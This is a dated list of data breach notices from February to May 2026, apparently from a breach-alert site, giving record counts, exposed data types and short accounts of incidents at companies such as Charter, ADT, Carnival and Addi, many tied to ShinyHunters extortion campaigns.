30.05.2026 - Atlas Menu 63.926 Datensätze geleaked
Email addresses, IP addresses, Passwords, Support tickets, Usernames

In May 2026, the GTA V and CS2 cheat service Atlas Menu suffered a data breach. An attacker claimed to have gained access to all Atlas systems and published the service's database to a public GitHub repository. The incident exposed 64k unique email addresses along with usernames, IP addresses, support tickets and passwords stored as bcrypt hashes.
29.05.2026 - BCD Travel 396.313 Datensätze geleaked
Email addresses, Employers, Job titles, Names, Phone numbers, Physical addresses, Support tickets

In May 2026, the corporate travel management company BCD Travel was claimed as a victim of the ShinyHunters "pay or leak" extortion campaign. Data allegedly obtained from BCD was subsequently published publicly in early June and contained 396k unique email addresses. Other exposed data included names, addresses, phone numbers, job titles and employer names, spanning a variety of different data sets including leads, internal staff and support tickets.
23.05.2026 - Charter 4.851.517 Datensätze geleaked
Email addresses, Job titles, Names, Phone numbers, Physical addresses

In May 2026, the telecommunications company Charter Communications (the parent company behind the consumer broadband and cable brand Spectrum) was named by the ShinyHunters group in a "pay or leak" extortion campaign. The group later published the data, which exposed 4.9M unique email addresses along with names, phone numbers and physical addresses. A subset of approximately 85k records originating from an internal employee directory also included job titles. Charter confirmed the incident, but stated that no sensitive personal information or customer proprietary network information (CPNI) was exfiltrated.
23.05.2026 - DentaQuest 2.553.599 Datensätze geleaked
Dates of birth, Email addresses, Genders, Government issued IDs, Health insurance information, Names, Phone numbers, Physical addresses

In May 2026, the dental benefits administrator DentaQuest was the target of a ShinyHunters "pay or leak" extortion campaign that resulted in the group publicly publishing hundreds of gigabytes of data allegedly obtained from the company. The data included 2.6M unique email addresses along with names, addresses and phone numbers. Much of the data appeared in healthcare enrollment files (ASC X12 transaction sets) with some containing Medicaid IDs, while additional data appeared in member records and related files. DentaQuest acknowledged "a cybersecurity incident involving unauthorized access to a limited portion of our network", and advised they had contained the attack and mitigated the threat.
05.05.2026 - Cushman & Wakefield 310.431 Datensätze geleaked
Email addresses, Job titles, Names, Phone numbers, Physical addresses, Salutations

In May 2026, the real estate services firm Cushman & Wakefield was the target of a "pay or leak" extortion campaign by the ShinyHunters group. Following the threat, the group publicly published data they alleged had been obtained from the firm, consisting mostly of C&W email addresses along with tens of thousands of external email addresses and corporate contact records. The exposed data was primarily business information, including names, job titles, company addresses and phone numbers.
30.04.2026 - Reborn Gaming 126 Datensätze geleaked
Email addresses, IP addresses

In April 2026, the gaming community Reborn Gaming suffered a data breach due to a vulnerability in cPanel and WebHost Manager (WHM). The breach exposed 126 unique email addresses along with IP addresses and Steam IDs. Reborn Gaming self-submitted the data to Have I Been Pwned.
28.04.2026 - Vimeo 119.167 Datensätze geleaked
Email addresses, Names

In April 2026, the ShinyHunters extortion group listed Vimeo on their extortion portal as part of their "pay or leak" campaign. They subsequently published hundreds of gigabytes of data, predominantly consisting of video titles, technical data and metadata. The data also included 119k unique email addresses, sometimes accompanied by names. Vimeo attributed the exposure to a breach of Anodot, a third-party analytics vendor, and advised the incident does not include "Vimeo video content, valid user login credentials, or payment card information".
26.04.2026 - CTT 468.124 Datensätze geleaked
Email addresses, Names, Phone numbers

In April 2026, data allegedly obtained from CTT, Portugal's national postal service, was posted to a public hacking forum. The data included 468k unique email addresses along with names, phone numbers and parcel tracking numbers which can be used to retrieve the tracking history of the parcel.
24.04.2026 - Udemy 1.401.259 Datensätze geleaked
Email addresses, Employers, Job titles, Names, Payment methods, Phone numbers, Physical addresses

In April 2026, online training company Udemy was the victim of a “pay or leak” extortion attempt perpetrated by the ShinyHunters group. The data was subsequently leaked publicly and contained 1.4M unique email addresses belonging to customers and instructors. The data also included names, physical addresses, phone numbers, employer information and instructor payout methods including PayPal, cheque and bank transfer.
20.04.2026 - ADT 5.488.888 Datensätze geleaked
Dates of birth, Email addresses, Names, Partial government issued IDs, Phone numbers, Physical addresses

In April 2026, home security firm ADT confirmed a data breach by ShinyHunters, which listed the company on its website as part of a "pay or leak" extortion attempt. The breach impacted 5.5M unique email addresses along with names, phone numbers and physical addresses. ADT also advised that "in a small percentage of cases, dates of birth and the last four digits of Social Security numbers or Tax IDs were included" and that it had contacted all affected people.
20.04.2026 - Aman 215.563 Datensätze geleaked
Dates of birth, Email addresses, Genders, Language preferences, Names, Nationalities, Phone numbers, Physical addresses, Spouses names, VIP statuses

In April 2026, the ultra-luxury hotel brand Aman was named by ShinyHunters as the target of a "pay or leak" extortion campaign, with the data allegedly obtained from their Salesforce CRM. The data was subsequently leaked publicly and contained over 200k unique email addresses. Whilst not present on all records, the data also included genders, physical addresses, phone numbers, nationalities, dates of birth, spouse names and VIP status codes.
20.04.2026 - Canada Life 237.810 Datensätze geleaked
Email addresses, Job titles, Names, Phone numbers, Physical addresses, Salutations, Support tickets

In April 2026, Canada Life was the victim of a "pay or leak" extortion campaign by the ShinyHunters group. The group subsequently published the data which contained over 200k unique email addresses along with names, phone numbers, physical addresses and, in some cases, customer support tickets. In their disclosure notice, Canada Life advised that "it is a small proportion of our customers who may have been impacted". In the wake of the incident, Canada Life also published an alert cautioning customers to be wary of phishing attacks, a pattern often seen after the public release of breached data.
20.04.2026 - Pitney Bowes 8.243.989 Datensätze geleaked
Email addresses, Job titles, Names, Phone numbers, Physical addresses

In April 2026, the hacking collective ShinyHunters claimed to have obtained data from Pitney Bowes as part of a broader extortion campaign that also named several other organisations. After negotiations allegedly failed, the group publicly released the data which included 8.2M unique email addresses, along with names, phone numbers and physical addresses. A subset of the data also included Pitney Bowes employee records with job titles.
18.04.2026 - Carnival 7.531.359 Datensätze geleaked
Dates of birth, Email addresses, Genders, Geographic locations, Loyalty program details, Names, Salutations

In April 2026, the notorious hacking collective ShinyHunters claimed they had obtained a substantial volume of data belonging to the Carnival cruise operator and attempted to extort the organisation to prevent the data from being leaked. The following week, the group published the data publicly, which contained 8.7M records with 7.5M unique email addresses. The data contained fields indicating it related to the Mariner Society loyalty program run by Holland America, a cruise line brand under Carnival, and included names, dates of birth, genders and data relating to status within the loyalty program. Carnival acknowledged a phishing incident involving a single user account and advised they were working to better understand the scope of the unauthorised activity.
15.04.2026 - Kemper 269.299 Datensätze geleaked
Email addresses, Names, Partial credit card data, Phone numbers, Physical addresses, Purchases

In April 2026, the American insurance holding company Kemper Corporation was named by the ShinyHunters ransomware group in a "pay or leak" extortion campaign. The attackers allegedly accessed Kemper's Salesforce environment via social engineering as part of a broader campaign targeting hundreds of organisations using the same method. The group later published tens of gigabytes of data they claimed included internal directory data, Salesforce records and Stripe payment logs. Among the 269k unique email addresses were names, phone numbers, physical addresses and partial payment card data including the last 4 digits, expiry dates and card brands. Kemper confirmed the incident and stated they had engaged third-party cybersecurity experts and notified law enforcement.
15.04.2026 - Zara 197.376 Datensätze geleaked
Email addresses, Geographic locations, Purchases, Support tickets

In April 2026, the fashion brand Zara was among a number of organisations targeted by the ShinyHunters extortion group as part of their "pay or leak" campaign. The group claimed the breach was related to a compromise of the Anodot analytics platform and subsequently published a terabyte of data allegedly including 95M support ticket records. The data contained 197k unique email addresses alongside product SKUs, order IDs and the market the support ticket originated in. Zara's parent company Inditex advised that the incident didn't affect passwords or payment information.
14.04.2026 - Abrigo 711.099 Datensätze geleaked
Email addresses, Employers, Job titles, Names, Phone numbers, Physical addresses

In April 2026, the fintech software company Abrigo was targeted in a "pay or leak" extortion attempt by the ShinyHunters group. Shortly after, data allegedly taken from the company's Salesforce instance was published publicly and contained over 700k unique email addresses belonging to both Abrigo staff and external contacts. Whilst separate from Abrigo's Salesforce compromise via the Drift application connector the previous year, the data fields described in that incident are consistent with the ShinyHunters data, namely that it was "business contact information" including "institution name, employee name, email addresses, and phone numbers".
12.04.2026 - Marcus & Millichap 1.837.078 Datensätze geleaked
Email addresses, Employers, Job titles, Names, Phone numbers, Physical addresses

In April 2026, the commercial real estate brokerage firm Marcus & Millichap was named as one of multiple alleged victims of the ShinyHunters hacking and extortion group. Data alleged to have been obtained from the company was subsequently released publicly and included 1.8M unique email addresses, along with names, phone numbers and employment-related information including employer, job title and physical company address. In their disclosure notice, Marcus & Millichap advised that data which may have been accessed appeared limited to "company forms, templates, marketing materials, and general contact information".
12.04.2026 - Mytheresa 84.108 Datensätze geleaked
Email addresses, Names, Partial credit card data, Phone numbers, Physical addresses, Purchases, Salutations

In April 2026, the luxury fashion e-commerce platform Mytheresa was listed as a victim of the ShinyHunters "pay or leak" extortion group. After the ransom deadline passed, the group publicly released the data which contained 84k unique email addresses. The exposed data also included names, phone numbers, physical addresses, purchases and partial credit card data including card type, last 4 digits and expiry date.
10.04.2026 - McGraw Hill 13.500.136 Datensätze geleaked
Email addresses, Names, Phone numbers, Physical addresses

In April 2026, education company McGraw Hill confirmed a data breach following an extortion attempt. Attributed to a Salesforce misconfiguration, the company stated the incident exposed "a limited set of data from a webpage hosted by Salesforce on its platform". More than 100GB of data was later publicly distributed, containing 13.5M unique email addresses across multiple files, with additional fields such as name, physical address and phone number appearing inconsistently across some records.
08.04.2026 - 7-Eleven 185.256 Datensätze geleaked
Dates of birth, Email addresses, Names, Phone numbers, Physical addresses

In April 2026, 7-Eleven was the victim of a "pay or leak" extortion campaign by ShinyHunters, with the data later published that month. The incident exposed 185k unique email addresses, along with names, physical addresses, dates of birth and phone numbers. A small number of records also contained additional exposed data fields. The company later advised the breach was limited to "certain 7-Eleven systems used to store franchisee documents", a statement consistent with the exposed data.
07.04.2026 - My Lovely AI 106.271 Datensätze geleaked
Email addresses, Social media profiles

In April 2026, the NSFW AI girlfriend platform My Lovely AI suffered a data breach that exposed over 100k users. The data included user-created prompts and links to the resulting AI-generated images, along with a small number of Discord and X usernames.
06.04.2026 - LegionProxy 10.144 Datensätze geleaked
Email addresses, Names, Passwords, Purchases

In April 2026, the commercial residential and ISP proxy network LegionProxy suffered a data breach. The incident exposed 10k email addresses, bcrypt password hashes, names and purchases.
03.04.2026 - Amtrak 2.147.679 Datensätze geleaked
Email addresses, Names, Physical addresses, Support tickets

In April 2026, the hacking group ShinyHunters claimed they had breached Amtrak. The group typically compromises organisations' Salesforce instances before demanding a ransom and later, if not paid, dumping the data publicly. They subsequently published the alleged data which contained over 2M unique email addresses along with names, physical addresses and customer support records.
02.04.2026 - SongTrivia2 291.739 Datensätze geleaked
Auth tokens, Avatars, Email addresses, Names, Passwords, Usernames

In April 2026, the music trivia platform SongTrivia2 suffered a data breach that was subsequently published to a public hacking forum. The data contained a total of 291k unique email addresses sourced from either Google OAuth logins or accounts created on the site, the latter also containing bcrypt password hashes. The data also included names, usernames and avatars.
31.03.2026 - Hallmark 1.736.520 Datensätze geleaked
Email addresses, Names, Phone numbers, Physical addresses, Support tickets

In March 2026, Hallmark suffered an alleged breach and subsequent extortion after attackers gained access to data stored within Salesforce. The data was later published after the extortion deadline passed, exposing 1.7M unique email addresses across both Hallmark and the Hallmark+ streaming service, along with names, phone numbers, physical addresses and support tickets.
27.03.2026 - ZenBusiness 5.118.184 Datensätze geleaked
Email addresses, Names, Phone numbers

In March 2026, the hacker and extortion group "ShinyHunters" claimed to have obtained a substantial corpus of data from ZenBusiness, a business formation and compliance platform. The group claimed the data had been exfiltrated from platforms including Snowflake, Mixpanel and Salesforce, and threatened to publish it if a ransom was not paid. The following month, after claiming payment had not been made, ShinyHunters publicly released the data. The collection amounted to many terabytes across thousands of files that appeared to originate from multiple systems and business functions, including leads, support records and other CRM-related data. The data contained approximately 5M unique email addresses, often accompanied by name and phone number depending on the source file.
26.03.2026 - BreachForums Version 5 339.778 Datensätze geleaked
Email addresses, Passwords, Usernames

In March 2026, a breach of one of the many iterations of the BreachForums hacking forum known as "Version 5" was publicly disclosed. The incident exposed 340k unique email addresses along with usernames and argon2 password hashes.
25.03.2026 - Addi 34.532.941 Datensätze geleaked
Age groups, Credit scores, Device information, Email addresses, Government issued IDs, Income levels, IP addresses, Latitude and longitude pairs, Names, Phone numbers, Physical addresses, Purchases, Socioeconomic levels

In March 2026, the Colombian fintech company Addi identified unauthorised activity on its platform and advised customers that "it is possible that your personal information may have been compromised". The "pay or leak" extortion group ShinyHunters subsequently claimed responsibility and published a large trove of personal data allegedly obtained from Addi. The data included 34M unique email addresses from credit scoring requests, credit bureau records, customer identity records and email validation logs. It also contained government issued IDs (Cédula de Ciudadanía), estimated income, socioeconomic levels, purchases and other credit-related data points.
25.03.2026 - Sound Radix 292.993 Datensätze geleaked
Email addresses, Names, Passwords

In March 2026, the audio production tools company Sound Radix disclosed a data breach that they subsequently self-submitted to HIBP. The incident impacted 293k unique email addresses and names. Sound Radix advised that it is possible that additional data including hashed passwords may have been exposed, and that no financial or credit card information was impacted.
13.03.2026 - Divine Skins 105.814 Datensätze geleaked
Email addresses, Purchases, Usernames

In March 2026, the League of Legends custom skins service Divine Skins suffered a data breach. The incident was disclosed via the service's Discord server, where Divine Skins stated that an unauthorised third party accessed part of its systems, deleted all skins from the database and exposed email addresses and usernames. The data also contained a history of purchases made by users.
12.03.2026 - Crunchyroll 1.195.684 Datensätze geleaked
Email addresses

In March 2026, the anime streaming service Crunchyroll suffered a data breach alleged to have impacted 6.8M users. The exposed data is reported to have originated from the company's Zendesk support system where "name, login name, email address, IP address, general geographic location and the contents of the support tickets" were exposed. A subset of 1.2M email addresses from an alleged 2M record dataset being sold was later provided to HIBP.
08.03.2026 - Baydöner 1.266.822 Datensätze geleaked
Dates of birth, Email addresses, Genders, Geographic locations, Government issued IDs, Names, Passwords, Phone numbers, Purchases

In March 2026, the Turkish restaurant chain Baydöner suffered a data breach which was subsequently published to a public hacking forum. The incident exposed over 1.2M unique email addresses along with names, phone numbers, cities of residence and plaintext passwords. A small number of records also included Turkish national ID number and date of birth. In their disclosure notice, Baydöner stated that payment and financial data was not affected.
06.03.2026 - Aura 903.080 Datensätze geleaked
Customer service comments, Email addresses, IP addresses, Names, Phone numbers, Physical addresses

In March 2026, the online safety service Aura disclosed a data breach that exposed 900k unique email addresses. The data was primarily associated with a marketing tool from a previously acquired company, with fewer than 20k active Aura customers affected. Exposed data included names, phone numbers, physical and IP addresses, and customer service notes. Aura advised that no Social Security numbers, passwords or financial information were compromised.
04.03.2026 - SUCCESS 253.510 Datensätze geleaked
Device information, Email addresses, IP addresses, Names, Passwords, Phone numbers, Physical addresses, Purchases

In March 2026, the personal development and achievement media brand SUCCESS suffered a data breach. The incident exposed 250k unique email addresses along with names, IP addresses, phone numbers and, for a limited number of staff members, bcrypt password hashes. The data also included orders containing physical addresses and the payment method used. In SUCCESS' disclosure notice, they advised their system had also been abused to send offensive newsletters with quotes falsely attributed to contributors.
04.03.2026 - Woflow 447.593 Datensätze geleaked
Email addresses, Names, Phone numbers, Physical addresses

In March 2026, the AI-driven merchant data platform Woflow was named as a victim by the ShinyHunters data extortion group. The group subsequently published tens of thousands of files allegedly obtained from the company, comprising more than 2TB of data. The trove included hundreds of thousands of email addresses, names, phone numbers and physical addresses, with the data indicating it related to Woflow customers and, in turn, the customers of merchants using their platform.
02.03.2026 - Ameriprise 502.597 Datensätze geleaked
Email addresses, Employers, Financial transactions, Job titles, Names, Phone numbers, Physical addresses

In March 2026, the financial services firm Ameriprise Financial was named by the ShinyHunters group in a "pay or leak" extortion campaign. The group claimed possession of more than 200GB of compressed data exfiltrated from Ameriprise's Salesforce environment and internal SharePoint infrastructure, and subsequently published the data after negotiations allegedly failed. The published data contained 500k unique email addresses as well as names, phone numbers, physical addresses and employer information. In their disclosure to state attorneys general, Ameriprise reported 47,876 affected people; the larger email address population represents contacts from Ameriprise's broader operational systems, including internal staff. Ameriprise further advised that they have "implemented heightened monitoring of your account(s) to include enhanced identity verification procedures".
25.02.2026 - KomikoAI 1.060.191 Datensätze geleaked
AI prompts, Email addresses, Forum posts, Names

In February, the AI-powered comic generation platform KomikoAI suffered a data breach. The incident exposed 1M unique email addresses along with names, user posts and the AI prompts used to generate content. The exposed data enables the mapping of individual AI prompts to specific email addresses.
25.02.2026 - Lovora 495.556 Datensätze geleaked
Display names, Email addresses, Profile photos

In February 2026, the couples and relationship app Lovora allegedly suffered a data breach that exposed 496k unique email addresses. The data also included users’ display names and profile photos, along with other personal information collected through use of the app. The app’s maker, Plantake, did not respond to multiple attempts to contact them about the incident.
17.02.2026 - Quitbro 22.874 Datensätze geleaked
Email addresses, Partial dates of birth, Usernames

In February 2026, the porn addiction app Quitbro allegedly suffered a data breach that exposed 23k unique email addresses. The data also included users’ years of birth, responses to questions within the app and their last recorded relapse time. The app’s maker, Plantake, did not respond to multiple attempts to contact them about the incident.
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